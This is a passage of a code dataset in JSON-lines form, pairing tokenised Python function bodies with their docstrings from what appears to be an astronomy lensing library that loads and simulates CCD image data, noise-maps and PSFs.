exc.DataException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return NoiseMap.from_image_and_background_noise_map(pixel_scale=pixel_scale, image=image,<EOL>background_noise_map=background_noise_map,<EOL>exposure_time_map=exposure_time_map,<EOL>convert_from_electrons=convert_from_electrons,<EOL>gain=gain, convert_from_adus=convert_from_adus)<EOL><DEDENT>else:<EOL><INDENT>raise exc.DataException(<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Factory for loading the noise-map from a .fits file.\n\n    This factory also includes a number of routines for converting the noise-map from from other units (e.g. \\\n    a weight map) or computing the noise-map from other unblurred_image_1d (e.g. the ccd image and background noise-map).\n\n    Parameters\n    ----------\n    noise_map_path : str\n        The path to the noise_map .fits file containing the noise_map (e.g. '/path/to/noise_map.fits')\n    noise_map_hdu : int\n        The hdu the noise_map is contained in the .fits file specified by *noise_map_path*.\n    pixel_scale : float\n        The size of each pixel in arc seconds.\n    image : ndarray\n        The image-image, which the noise-map can be calculated using.\n    background_noise_map : ndarray\n        The background noise-map, which the noise-map can be calculated using.\n    exposure_time_map : ndarray\n        The exposure-time map, which the noise-map can be calculated using.\n    convert_noise_map_from_weight_map : bool\n        If True, the noise-map loaded from the .fits file is converted from a weight-map to a noise-map (see \\\n        *NoiseMap.from_weight_map).\n    convert_noise_map_from_inverse_noise_map : bool\n        If True, the noise-map loaded from the .fits file is converted from an inverse noise-map to a noise-map (see \\\n        *NoiseMap.from_inverse_noise_map).\n    background_noise_map_path : str\n        The path and filename of the .fits image containing the background noise-map.\n    background_noise_map_hdu : int\n        The hdu the background noise-map is contained in the .fits file that *background_noise_map_path* points too.\n    convert_background_noise_map_from_weight_map : bool\n        If True, the bacground noise-map loaded from the .fits file is converted from a weight-map to a noise-map (see \\\n        *NoiseMap.from_weight_map).\n    convert_background_noise_map_from_inverse_noise_map : bool\n        If True, the background noise-map loaded from the .fits file is converted from an inverse noise-map to a \\\n        noise-map (see *NoiseMap.from_inverse_noise_map).\n    noise_map_from_image_and_background_noise_map : bool\n        If True, the noise-map is computed from the observed image and background noise-map \\\n        (see NoiseMap.from_image_and_background_noise_map).\n    convert_from_electrons : bool\n        If True, the input unblurred_image_1d are in units of electrons and all converted to electrons / second using the exposure \\\n        time map.\n    gain : float\n        The image gain, used for convert from ADUs.\n    convert_from_adus : bool\n        If True, the input unblurred_image_1d are in units of adus and all converted to electrons / second using the exposure \\\n        time map and gain.", "id": "f5989:m4"}
{"signature": "def load_background_noise_map(background_noise_map_path, background_noise_map_hdu, pixel_scale,<EOL>convert_background_noise_map_from_weight_map,<EOL>convert_background_noise_map_from_inverse_noise_map):", "body": "background_noise_map_options = sum([convert_background_noise_map_from_weight_map,<EOL>convert_background_noise_map_from_inverse_noise_map])<EOL>if background_noise_map_options == <NUM_LIT:0> and background_noise_map_path is not None:<EOL><INDENT>return NoiseMap.from_fits_with_pixel_scale(file_path=background_noise_map_path, hdu=background_noise_map_hdu,<EOL>pixel_scale=pixel_scale)<EOL><DEDENT>elif convert_background_noise_map_from_weight_map and background_noise_map_path is not None:<EOL><INDENT>weight_map = Array.from_fits(file_path=background_noise_map_path, hdu=background_noise_map_hdu)<EOL>return NoiseMap.from_weight_map(weight_map=weight_map, pixel_scale=pixel_scale)<EOL><DEDENT>elif convert_background_noise_map_from_inverse_noise_map and background_noise_map_path is not None:<EOL><INDENT>inverse_noise_map = Array.from_fits(file_path=background_noise_map_path, hdu=background_noise_map_hdu)<EOL>return NoiseMap.from_inverse_noise_map(inverse_noise_map=inverse_noise_map, pixel_scale=pixel_scale)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Factory for loading the background noise-map from a .fits file.\n\n    This factory also includes a number of routines for converting the background noise-map from from other units (e.g. \\\n    a weight map).\n\n    Parameters\n    ----------\n    background_noise_map_path : str\n        The path to the background_noise_map .fits file containing the background noise-map \\\n        (e.g. '/path/to/background_noise_map.fits')\n    background_noise_map_hdu : int\n        The hdu the background_noise_map is contained in the .fits file specified by *background_noise_map_path*.\n    pixel_scale : float\n        The size of each pixel in arc seconds.\n    convert_background_noise_map_from_weight_map : bool\n        If True, the bacground noise-map loaded from the .fits file is converted from a weight-map to a noise-map (see \\\n        *NoiseMap.from_weight_map).\n    convert_background_noise_map_from_inverse_noise_map : bool\n        If True, the background noise-map loaded from the .fits file is converted from an inverse noise-map to a \\\n        noise-map (see *NoiseMap.from_inverse_noise_map).", "id": "f5989:m5"}
{"signature": "def load_poisson_noise_map(poisson_noise_map_path, poisson_noise_map_hdu, pixel_scale,<EOL>convert_poisson_noise_map_from_weight_map,<EOL>convert_poisson_noise_map_from_inverse_noise_map,<EOL>poisson_noise_map_from_image,<EOL>image, exposure_time_map, convert_from_electrons, gain, convert_from_adus):", "body": "poisson_noise_map_options = sum([convert_poisson_noise_map_from_weight_map,<EOL>convert_poisson_noise_map_from_inverse_noise_map,<EOL>poisson_noise_map_from_image])<EOL>if poisson_noise_map_options == <NUM_LIT:0> and poisson_noise_map_path is not None:<EOL><INDENT>return PoissonNoiseMap.from_fits_with_pixel_scale(file_path=poisson_noise_map_path, hdu=poisson_noise_map_hdu,<EOL>pixel_scale=pixel_scale)<EOL><DEDENT>elif poisson_noise_map_from_image:<EOL><INDENT>if not (convert_from_electrons or convert_from_adus) and exposure_time_map is None:<EOL><INDENT>raise exc.DataException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if convert_from_adus and gain is None:<EOL><INDENT>raise exc.DataException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return PoissonNoiseMap.from_image_and_exposure_time_map(pixel_scale=pixel_scale, image=image,<EOL>exposure_time_map=exposure_time_map,<EOL>convert_from_electrons=convert_from_electrons,<EOL>gain=gain,<EOL>convert_from_adus=convert_from_adus)<EOL><DEDENT>elif convert_poisson_noise_map_from_weight_map and poisson_noise_map_path is not None:<EOL><INDENT>weight_map = Array.from_fits(file_path=poisson_noise_map_path, hdu=poisson_noise_map_hdu)<EOL>return PoissonNoiseMap.from_weight_map(weight_map=weight_map, pixel_scale=pixel_scale)<EOL><DEDENT>elif convert_poisson_noise_map_from_inverse_noise_map and poisson_noise_map_path is not None:<EOL><INDENT>inverse_noise_map = Array.from_fits(file_path=poisson_noise_map_path, hdu=poisson_noise_map_hdu)<EOL>return PoissonNoiseMap.from_inverse_noise_map(inverse_noise_map=inverse_noise_map, pixel_scale=pixel_scale)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Factory for loading the Poisson noise-map from a .fits file.\n\n    This factory also includes a number of routines for converting the Poisson noise-map from from other units (e.g. \\\n    a weight map) or computing the Poisson noise_map from other unblurred_image_1d (e.g. the ccd image).\n\n    Parameters\n    ----------\n    poisson_noise_map_path : str\n        The path to the poisson_noise_map .fits file containing the Poisson noise-map \\\n         (e.g. '/path/to/poisson_noise_map.fits')\n    poisson_noise_map_hdu : int\n        The hdu the poisson_noise_map is contained in the .fits file specified by *poisson_noise_map_path*.\n    pixel_scale : float\n        The size of each pixel in arc seconds.\n    convert_poisson_noise_map_from_weight_map : bool\n        If True, the Poisson noise-map loaded from the .fits file is converted from a weight-map to a noise-map (see \\\n        *NoiseMap.from_weight_map).\n    convert_poisson_noise_map_from_inverse_noise_map : bool\n        If True, the Poisson noise-map loaded from the .fits file is converted from an inverse noise-map to a \\\n        noise-map (see *NoiseMap.from_inverse_noise_map).\n    poisson_noise_map_from_image : bool\n        If True, the Poisson noise-map is estimated using the image.\n    image : ndarray\n        The image, which the Poisson noise-map can be calculated using.\n    background_noise_map : ndarray\n        The background noise-map, which the Poisson noise-map can be calculated using.\n    exposure_time_map : ndarray\n        The exposure-time map, which the Poisson noise-map can be calculated using.\n    convert_from_electrons : bool\n        If True, the input unblurred_image_1d are in units of electrons and all converted to electrons / second using the exposure \\\n        time map.\n    gain : float\n        The image gain, used for convert from ADUs.\n    convert_from_adus : bool\n        If True, the input unblurred_image_1d are in units of adus and all converted to electrons / second using the exposure \\\n        time map and gain.", "id": "f5989:m6"}
{"signature": "def load_psf(psf_path, psf_hdu, pixel_scale, renormalize=False):", "body": "if renormalize:<EOL><INDENT>return PSF.from_fits_renormalized(file_path=psf_path, hdu=psf_hdu, pixel_scale=pixel_scale)<EOL><DEDENT>if not renormalize:<EOL><INDENT>return PSF.from_fits_with_scale(file_path=psf_path, hdu=psf_hdu, pixel_scale=pixel_scale)<EOL><DEDENT>", "docstring": "Factory for loading the psf from a .fits file.\n\n    Parameters\n    ----------\n    psf_path : str\n        The path to the psf .fits file containing the psf (e.g. '/path/to/psf.fits')\n    psf_hdu : int\n        The hdu the psf is contained in the .fits file specified by *psf_path*.\n    pixel_scale : float\n        The size of each pixel in arc seconds.\n    renormalize : bool\n        If True, the PSF is renoralized such that all elements sum to 1.0.", "id": "f5989:m7"}
{"signature": "def load_exposure_time_map(exposure_time_map_path, exposure_time_map_hdu, pixel_scale, shape, exposure_time,<EOL>exposure_time_map_from_inverse_noise_map, inverse_noise_map):", "body": "exposure_time_map_options = sum([exposure_time_map_from_inverse_noise_map])<EOL>if exposure_time is not None and exposure_time_map_path is not None:<EOL><INDENT>raise exc.DataException(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if exposure_time_map_options == <NUM_LIT:0>:<EOL><INDENT>if exposure_time is not None and exposure_time_map_path is None:<EOL><INDENT>return ExposureTimeMap.single_value(value=exposure_time, pixel_scale=pixel_scale, shape=shape)<EOL><DEDENT>elif exposure_time is None and exposure_time_map_path is not None:<EOL><INDENT>return ExposureTimeMap.from_fits_with_pixel_scale(file_path=exposure_time_map_path,<EOL>hdu=exposure_time_map_hdu, pixel_scale=pixel_scale)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if exposure_time_map_from_inverse_noise_map:<EOL><INDENT>return ExposureTimeMap.from_exposure_time_and_inverse_noise_map(pixel_scale=pixel_scale,<EOL>exposure_time=exposure_time,<EOL>inverse_noise_map=inverse_noise_map)<EOL><DEDENT><DEDENT>", "docstring": "Factory for loading the exposure time map from a .fits file.\n\n    This factory also includes a number of routines for computing the exposure-time map from other unblurred_image_1d \\\n    (e.g. the background noise-map).\n\n    Parameters\n    ----------\n    exposure_time_map_path : str\n        The path to the exposure_time_map .fits file containing the exposure time map \\\n        (e.g. '/path/to/exposure_time_map.fits')\n    exposure_time_map_hdu : int\n        The hdu the exposure_time_map is contained in the .fits file specified by *exposure_time_map_path*.\n    pixel_scale : float\n        The size of each pixel in arc seconds.\n    shape : (int, int)\n        The shape of the image, required if a single value is used to calculate the exposure time map.\n    exposure_time : float\n        The exposure-time used to compute the expsure-time map if only a single value is used.\n    exposure_time_map_from_inverse_noise_map : bool\n        If True, the exposure-time map is computed from the background noise_map map \\\n        (see *ExposureTimeMap.from_background_noise_map*)\n    inverse_noise_map : ndarray\n        The background noise-map, which the Poisson noise-map can be calculated using.", "id": "f5989:m8"}
{"signature": "def load_background_sky_map(background_sky_map_path, background_sky_map_hdu, pixel_scale):", "body": "if background_sky_map_path is not None:<EOL><INDENT>return ScaledSquarePixelArray.from_fits_with_pixel_scale(file_path=background_sky_map_path,<EOL>hdu=background_sky_map_hdu, pixel_scale=pixel_scale)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Factory for loading the background sky from a .fits file.\n\n    Parameters\n    ----------\n    background_sky_map_path : str\n        The path to the background_sky_map .fits file containing the background sky map \\\n        (e.g. '/path/to/background_sky_map.fits').\n    background_sky_map_hdu : int\n        The hdu the background_sky_map is contained in the .fits file specified by *background_sky_map_path*.\n    pixel_scale : float\n        The size of each pixel in arc seconds.", "id": "f5989:m9"}
{"signature": "def load_positions(positions_path):", "body": "with open(positions_path) as f:<EOL><INDENT>position_string = f.readlines()<EOL><DEDENT>positions = []<EOL>for line in position_string:<EOL><INDENT>position_list = ast.literal_eval(line)<EOL>positions.append(position_list)<EOL><DEDENT>return positions<EOL>", "docstring": "Load the positions of an image.\n\n    Positions correspond to a set of pixels in the lensed source galaxy that are anticipated to come from the same \\\n    multiply-imaged region of the source-plane. Mass models which do not trace the pixels within a threshold value of \\\n    one another are resampled during the non-linear search.\n\n    Positions are stored in a .dat file, where each line of the file gives a list of list of (y,x) positions which \\\n    correspond to the same region of the source-plane. Thus, multiple source-plane regions can be input over multiple \\\n    lines of the same positions file.\n\n    Parameters\n    ----------\n    positions_path : str\n        The path to the positions .dat file containing the positions (e.g. '/path/to/positions.dat')", "id": "f5989:m11"}
{"signature": "def output_positions(positions, positions_path):", "body": "with open(positions_path, '<STR_LIT:w>') as f:<EOL><INDENT>for position in positions:<EOL><INDENT>f.write(\"<STR_LIT>\" % position)<EOL><DEDENT><DEDENT>", "docstring": "Output the positions of an image to a positions.dat file.\n\n    Positions correspond to a set of pixels in the lensed source galaxy that are anticipated to come from the same \\\n    multiply-imaged region of the source-plane. Mass models which do not trace the pixels within a threshold value of \\\n    one another are resampled during the non-linear search.\n\n    Positions are stored in a .dat file, where each line of the file gives a list of list of (y,x) positions which \\\n    correspond to the same region of the source-plane. Thus, multiple source-plane regions can be input over multiple \\\n    lines of the same positions file.\n\n    Parameters\n    ----------\n    positions : [[[]]]\n        The lists of positions (e.g. [[[1.0, 1.0], [2.0, 2.0]], [[3.0, 3.0], [4.0, 4.0]]])\n    positions_path : str\n        The path to the positions .dat file containing the positions (e.g. '/path/to/positions.dat')", "id": "f5989:m12"}
{"signature": "def __init__(self, image, pixel_scale, psf, noise_map=None, background_noise_map=None, poisson_noise_map=None,<EOL>exposure_time_map=None, background_sky_map=None, name=None, **kwargs):", "body": "self.name = name<EOL>self.image = image<EOL>self.pixel_scale = pixel_scale<EOL>self.psf = psf<EOL>self.noise_map = noise_map<EOL>self.background_noise_map = background_noise_map<EOL>self.poisson_noise_map = poisson_noise_map<EOL>self.exposure_time_map = exposure_time_map<EOL>self.background_sky_map = background_sky_map<EOL>self.origin = (<NUM_LIT:0.0>, <NUM_LIT:0.0>)<EOL>", "docstring": "A collection of 2D CCD data (an image, noise-map, psf, etc.)\n\n        Parameters\n        ----------\n        image : scaled_array.ScaledArraySquarePixels\n            The array of the image data, in units of electrons per second.\n        pixel_scale : float\n            The size of each pixel in arc seconds.\n        psf : PSF\n            An array describing the PSF kernel of the image.\n        noise_map : NoiseMap | float | ndarray\n            An array describing the RMS standard deviation error in each pixel, preferably in units of electrons per\n            second.\n        background_noise_map : NoiseMap\n            An array describing the RMS standard deviation error in each pixel due to the background sky noise_map,\n            preferably in units of electrons per second.\n        poisson_noise_map : NoiseMap\n            An array describing the RMS standard deviation error in each pixel due to the Poisson counts of the source,\n            preferably in units of electrons per second.\n        exposure_time_map : scaled_array.ScaledSquarePixelArray\n            An array describing the effective exposure time in each ccd pixel.\n        background_sky_map : scaled_array.ScaledSquarePixelArray\n            An array describing the background sky.", "id": "f5989:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def simulate_variable_arrays(cls, array, pixel_scale, exposure_time_map, psf=None, background_sky_map=None,<EOL>add_noise=True, noise_if_add_noise_false=<NUM_LIT:0.1>, noise_seed=-<NUM_LIT:1>, name=None):<DEDENT>", "body": "if background_sky_map is not None:<EOL><INDENT>array += background_sky_map<EOL><DEDENT>if psf is not None:<EOL><INDENT>array = psf.convolve(array)<EOL>array = cls.trim_psf_edges(array, psf)<EOL>exposure_time_map = cls.trim_psf_edges(exposure_time_map, psf)<EOL>if background_sky_map is not None:<EOL><INDENT>background_sky_map = cls.trim_psf_edges(background_sky_map, psf)<EOL><DEDENT><DEDENT>if add_noise is True:<EOL><INDENT>array += generate_poisson_noise(array, exposure_time_map, noise_seed)<EOL>array_counts = np.multiply(array, exposure_time_map)<EOL>noise_map = np.divide(np.sqrt(array_counts), exposure_time_map)<EOL><DEDENT>else:<EOL><INDENT>noise_map = noise_if_add_noise_false * np.ones(array.shape)<EOL><DEDENT>if np.isnan(noise_map).any():<EOL><INDENT>raise exc.DataException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if background_sky_map is not None:<EOL><INDENT>array -= background_sky_map<EOL><DEDENT>if background_sky_map is not None:<EOL><INDENT>background_noise_map_counts = np.sqrt(np.multiply(background_sky_map, exposure_time_map))<EOL>background_noise_map = np.divide(background_noise_map_counts, exposure_time_map)<EOL><DEDENT>else:<EOL><INDENT>background_noise_map = None<EOL><DEDENT>array_counts = np.multiply(array, exposure_time_map)<EOL>poisson_noise_map = np.divide(np.sqrt(np.abs(array_counts)), exposure_time_map)<EOL>array = ScaledSquarePixelArray(array=array, pixel_scale=pixel_scale)<EOL>noise_map = NoiseMap(array=noise_map, pixel_scale=pixel_scale)<EOL>if background_noise_map is not None:<EOL><INDENT>background_noise_map = NoiseMap(array=background_noise_map, pixel_scale=pixel_scale)<EOL><DEDENT>if poisson_noise_map is not None:<EOL><INDENT>poisson_noise_map = PoissonNoiseMap(array=poisson_noise_map, pixel_scale=pixel_scale)<EOL><DEDENT>return CCDData(array, pixel_scale=pixel_scale, psf=psf, noise_map=noise_map,<EOL>background_noise_map=background_noise_map, poisson_noise_map=poisson_noise_map,<EOL>exposure_time_map=exposure_time_map, background_sky_map=background_sky_map, name=name)<EOL>", "docstring": "Create a realistic simulated image by applying effects to a plain simulated image.\n\nParameters\n----------\nname\narray : ndarray\n    The image before simulating (e.g. the lens and source galaxies before optics blurring and CCD read-out).\npixel_scale: float\n    The scale of each pixel in arc seconds\nexposure_time_map : ndarray\n    An array representing the effective exposure time of each pixel.\npsf: PSF\n    An array describing the PSF the simulated image is blurred with.\nbackground_sky_map : ndarray\n    The value of background sky in every image pixel (electrons per second).\nadd_noise: Bool\n    If True poisson noise_maps is simulated and added to the image, based on the total counts in each image\n    pixel\nnoise_seed: int\n    A seed for random noise_maps generation", "id": "f5989:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def simulate_to_target_signal_to_noise(cls, array, pixel_scale, target_signal_to_noise, exposure_time_map,<EOL>psf=None, background_sky_map=None, seed=-<NUM_LIT:1>):<DEDENT>", "body": "max_index = np.unravel_index(array.argmax(), array.shape)<EOL>max_image = array[max_index]<EOL>max_effective_exposure_time = exposure_time_map[max_index]<EOL>max_array_counts = np.multiply(max_image, max_effective_exposure_time)<EOL>if background_sky_map is not None:<EOL><INDENT>max_background_sky_map = background_sky_map[max_index]<EOL>max_background_sky_map_counts = np.multiply(max_background_sky_map, max_effective_exposure_time)<EOL><DEDENT>else:<EOL><INDENT>max_background_sky_map_counts = None<EOL><DEDENT>scale_factor = <NUM_LIT:1.><EOL>if background_sky_map is None:<EOL><INDENT>scale_factor = target_signal_to_noise ** <NUM_LIT> / max_array_counts<EOL><DEDENT>elif background_sky_map is not None:<EOL><INDENT>scale_factor = (max_array_counts + max_background_sky_map_counts) * target_signal_to_noise ** <NUM_LIT>/ max_array_counts ** <NUM_LIT><EOL><DEDENT>scaled_effective_exposure_time = np.multiply(scale_factor, exposure_time_map)<EOL>return cls.simulate_variable_arrays(array=array, pixel_scale=pixel_scale,<EOL>exposure_time_map=scaled_effective_exposure_time,<EOL>psf=psf, background_sky_map=background_sky_map,<EOL>add_noise=True, noise_seed=seed)<EOL>", "docstring": "Create a realistic simulated image by applying effects to a plain simulated image.\n\nParameters\n----------\ntarget_signal_to_noise\narray : ndarray\n    The image before simulating (e.g. the lens and source galaxies before optics blurring and CCD read-out).\npixel_scale: float\n    The scale of each pixel in arc seconds\nexposure_time_map : ndarray\n    An array representing the effective exposure time of each pixel.\npsf: PSF\n    An array describing the PSF the simulated image is blurred with.\nbackground_sky_map : ndarray\n    The value of background sky in every image pixel (electrons per second).\nseed: int\n    A seed for random noise_maps generation", "id": "f5989:c0:m4"}
{"signature": "@property<EOL><INDENT>def signal_to_noise_map(self):<DEDENT>", "body": "signal_to_noise_map = np.divide(self.image, self.noise_map)<EOL>signal_to_noise_map[signal_to_noise_map < <NUM_LIT:0>] = <NUM_LIT:0><EOL>return signal_to_noise_map<EOL>", "docstring": "The estimated signal-to-noise_maps mappers of the image.", "id": "f5989:c0:m14"}
{"signature": "@property<EOL><INDENT>def signal_to_noise_max(self):<DEDENT>", "body": "return np.max(self.signal_to_noise_map)<EOL>", "docstring": "The maximum value of signal-to-noise_maps in an image pixel in the image's signal-to-noise_maps mappers", "id": "f5989:c0:m15"}
{"signature": "@property<EOL><INDENT>def absolute_signal_to_noise_map(self):<DEDENT>", "body": "return np.divide(np.abs(self.image), self.noise_map)<EOL>", "docstring": "The estimated absolute_signal-to-noise_maps mappers of the image.", "id": "f5989:c0:m16"}
{"signature": "@property<EOL><INDENT>def absolute_signal_to_noise_max(self):<DEDENT>", "body": "return np.max(self.absolute_signal_to_noise_map)<EOL>", "docstring": "The maximum value of absolute signal-to-noise_map in an image pixel in the image's signal-to-noise_maps mappers", "id": "f5989:c0:m17"}
{"signature": "@property<EOL><INDENT>def potential_chi_squared_map(self):<DEDENT>", "body": "return np.square(self.absolute_signal_to_noise_map)<EOL>", "docstring": "The potential chi-squared map of the ccd data. This represents how much each pixel can contribute to \\\n        the chi-squared map, assuming the model fails to fit it at all (e.g. model value = 0.0).", "id": "f5989:c0:m18"}
{"signature": "@property<EOL><INDENT>def potential_chi_squared_max(self):<DEDENT>", "body": "return np.max(self.potential_chi_squared_map)<EOL>", "docstring": "The maximum value of the potential chi-squared map", "id": "f5989:c0:m19"}
{"signature": "def array_from_electrons_per_second_to_counts(self, array):", "body": "return np.multiply(array, self.exposure_time_map)<EOL>", "docstring": "For an array (in electrons per second) and an exposure time mappers, return an array in units counts.\n\nParameters\n----------\narray : ndarray\n    The array the values are to be converted from electrons per seconds to counts.", "id": "f5989:c0:m21"}
{"signature": "def array_from_counts_to_electrons_per_second(self, array):", "body": "if array is not None:<EOL><INDENT>return np.divide(array, self.exposure_time_map)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "For an array (in counts) and an exposure time mappers, convert the array to units electrons per second\n\nParameters\n----------\narray : ndarray\n    The array the values are to be converted from counts to electrons per second.", "id": "f5989:c0:m22"}
{"signature": "def array_from_adus_to_electrons_per_second(self, array, gain):", "body": "if array is not None:<EOL><INDENT>return np.divide(gain * array, self.exposure_time_map)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "For an array (in counts) and an exposure time mappers, convert the array to units electrons per second\n\nParameters\n----------\narray : ndarray\n    The array the values are to be converted from counts to electrons per second.", "id": "f5989:c0:m23"}
{"signature": "@property<EOL><INDENT>def image_counts(self):<DEDENT>", "body": "return self.array_from_electrons_per_second_to_counts(self.image)<EOL>", "docstring": "The image in units of counts.", "id": "f5989:c0:m24"}
{"signature": "@property<EOL><INDENT>def background_noise_map_counts(self):<DEDENT>", "body": "return self.array_from_electrons_per_second_to_counts(self.background_noise_map)<EOL>", "docstring": "The background noise_maps mappers in units of counts.", "id": "f5989:c0:m25"}
{"signature": "@property<EOL><INDENT>def estimated_noise_map_counts(self):<DEDENT>", "body": "return np.sqrt((np.abs(self.image_counts) + np.square(self.background_noise_map_counts)))<EOL>", "docstring": "The estimated noise_maps mappers of the image (using its background noise_maps mappers and image values\n        in counts) in counts.", "id": "f5989:c0:m26"}
{"signature": "@property<EOL><INDENT>def estimated_noise_map(self):<DEDENT>", "body": "return self.array_from_counts_to_electrons_per_second(self.estimated_noise_map_counts)<EOL>", "docstring": "The estimated noise_maps mappers of the image (using its background noise_maps mappers and image values\n        in counts) in electrons per second.", "id": "f5989:c0:m27"}
{"signature": "def background_noise_from_edges(self, no_edges):", "body": "edges = []<EOL>for edge_no in range(no_edges):<EOL><INDENT>top_edge = self.image[edge_no, edge_no:self.image.shape[<NUM_LIT:1>] - edge_no]<EOL>bottom_edge = self.image[self.image.shape[<NUM_LIT:0>] - <NUM_LIT:1> - edge_no, edge_no:self.image.shape[<NUM_LIT:1>] - edge_no]<EOL>left_edge = self.image[edge_no + <NUM_LIT:1>:self.image.shape[<NUM_LIT:0>] - <NUM_LIT:1> - edge_no, edge_no]<EOL>right_edge = self.image[edge_no + <NUM_LIT:1>:self.image.shape[<NUM_LIT:0>] - <NUM_LIT:1> - edge_no, self.image.shape[<NUM_LIT:1>] - <NUM_LIT:1> - edge_no]<EOL>edges = np.concatenate((edges, top_edge, bottom_edge, right_edge, left_edge))<EOL><DEDENT>return norm.fit(edges)[<NUM_LIT:1>]<EOL>", "docstring": "Estimate the background signal_to_noise_ratio by binning data_to_image located at the edge(s) of an image\n        into a histogram and fitting a Gaussian profiles to this histogram. The standard deviation (sigma) of this\n        Gaussian gives a signal_to_noise_ratio estimate.\n\n        Parameters\n        ----------\n        no_edges : int\n            Number of edges used to estimate the background signal_to_noise_ratio.", "id": "f5989:c0:m28"}
{"signature": "@classmethod<EOL><INDENT>def from_weight_map(cls, pixel_scale, weight_map):<DEDENT>", "body": "np.seterr(divide='<STR_LIT:ignore>')<EOL>noise_map = <NUM_LIT:1.0> / np.sqrt(weight_map)<EOL>noise_map[noise_map == np.inf] = <NUM_LIT><EOL>return NoiseMap(array=noise_map, pixel_scale=pixel_scale)<EOL>", "docstring": "Setup the noise-map from a weight map, which is a form of noise-map that comes via HST image-reduction and \\\n        the software package MultiDrizzle.\n\n        The variance in each pixel is computed as:\n\n        Variance = 1.0 / sqrt(weight_map).\n\n        The weight map may contain zeros, in which cause the variances are converted to large values to omit them from \\\n        the analysis.\n\n        Parameters\n        -----------\n        pixel_scale : float\n            The size of each pixel in arc seconds.\n        weight_map : ndarray\n            The weight-value of each pixel which is converted to a variance.", "id": "f5989:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_inverse_noise_map(cls, pixel_scale, inverse_noise_map):<DEDENT>", "body": "noise_map = <NUM_LIT:1.0> / inverse_noise_map<EOL>return NoiseMap(array=noise_map, pixel_scale=pixel_scale)<EOL>", "docstring": "Setup the noise-map from an root-mean square standard deviation map, which is a form of noise-map that \\\n        comes via HST image-reduction and the software package MultiDrizzle.\n\n        The variance in each pixel is computed as:\n\n        Variance = 1.0 / inverse_std_map.\n\n        The weight map may contain zeros, in which cause the variances are converted to large values to omit them from \\\n        the analysis.\n\n        Parameters\n        -----------\n        pixel_scale : float\n            The size of each pixel in arc seconds.\n        inverse_noise_map : ndarray\n            The inverse noise_map value of each pixel which is converted to a variance.", "id": "f5989:c1:m1"}
{"signature": "def __init__(self, array, pixel_scale, renormalize=False, **kwargs):", "body": "<EOL>super().__init__(array=array, pixel_scale=pixel_scale)<EOL>if renormalize:<EOL><INDENT>self[:, :] = np.divide(self, np.sum(self))<EOL><DEDENT>", "docstring": "Class storing a 2D Point Spread Function (PSF), including its blurring kernel.\n\nParameters\n----------\narray : ndarray\n    The 2d PSF blurring kernel.\nrenormalize : bool\n    Renormalize the PSF such that he sum of kernel values total 1.0?", "id": "f5989:c3:m0"}
{"signature": "@classmethod<EOL><INDENT>def simulate_as_gaussian(cls, shape, pixel_scale, sigma, centre=(<NUM_LIT:0.0>, <NUM_LIT:0.0>), axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>):<DEDENT>", "body": "from autolens.model.profiles.light_profiles import EllipticalGaussian<EOL>gaussian = EllipticalGaussian(centre=centre, axis_ratio=axis_ratio, phi=phi, intensity=<NUM_LIT:1.0>, sigma=sigma)<EOL>grid_1d = grid_util.regular_grid_1d_masked_from_mask_pixel_scales_and_origin(mask=np.full(shape, False),<EOL>pixel_scales=(<EOL>pixel_scale, pixel_scale))<EOL>gaussian_1d = gaussian.intensities_from_grid(grid=grid_1d)<EOL>gaussian_2d = mapping_util.map_unmasked_1d_array_to_2d_array_from_array_1d_and_shape(array_1d=gaussian_1d,<EOL>shape=shape)<EOL>return PSF(array=gaussian_2d, pixel_scale=pixel_scale, renormalize=True)<EOL>", "docstring": "Simulate the PSF as an elliptical Gaussian profile.", "id": "f5989:c3:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_fits_renormalized(cls, file_path, hdu, pixel_scale):<DEDENT>", "body": "psf = PSF.from_fits_with_scale(file_path, hdu, pixel_scale)<EOL>psf[:, :] = np.divide(psf, np.sum(psf))<EOL>return psf<EOL>", "docstring": "Loads a PSF from fits and renormalizes it\n\n        Parameters\n        ----------\n        pixel_scale\n        file_path: String\n            The path to the file containing the PSF\n        hdu : int\n            The HDU the PSF is stored in the .fits file.\n\n        Returns\n        -------\n        psf: PSF\n            A renormalized PSF instance", "id": "f5989:c3:m3"}
{"signature": "@classmethod<EOL><INDENT>def from_fits_with_scale(cls, file_path, hdu, pixel_scale):<DEDENT>", "body": "return cls(array=array_util.numpy_array_2d_from_fits(file_path, hdu), pixel_scale=pixel_scale)<EOL>", "docstring": "Loads the PSF from a .fits file.\n\nParameters\n----------\npixel_scale\nfile_path: String\n    The path to the file containing the PSF\nhdu : int\n    The HDU the PSF is stored in the .fits file.", "id": "f5989:c3:m4"}
{"signature": "def new_psf_with_renormalized_array(self):", "body": "return PSF(array=self, pixel_scale=self.pixel_scale, renormalize=True)<EOL>", "docstring": "Renormalize the PSF such that its data_vector values sum to unity.", "id": "f5989:c3:m6"}
{"signature": "def convolve(self, array):", "body": "if self.shape[<NUM_LIT:0>] % <NUM_LIT:2> == <NUM_LIT:0> or self.shape[<NUM_LIT:1>] % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>raise exc.KernelException(\"<STR_LIT>\")<EOL><DEDENT>return scipy.signal.convolve2d(array, self, mode='<STR_LIT>')<EOL>", "docstring": "Convolve an array with this PSF\n\nParameters\n----------\nimage : ndarray\n    An array representing the image the PSF is convolved with.\n\nReturns\n-------\nconvolved_image : ndarray\n    An array representing the image after convolution.\n\nRaises\n------\nKernelException if either PSF psf dimension is odd", "id": "f5989:c3:m7"}
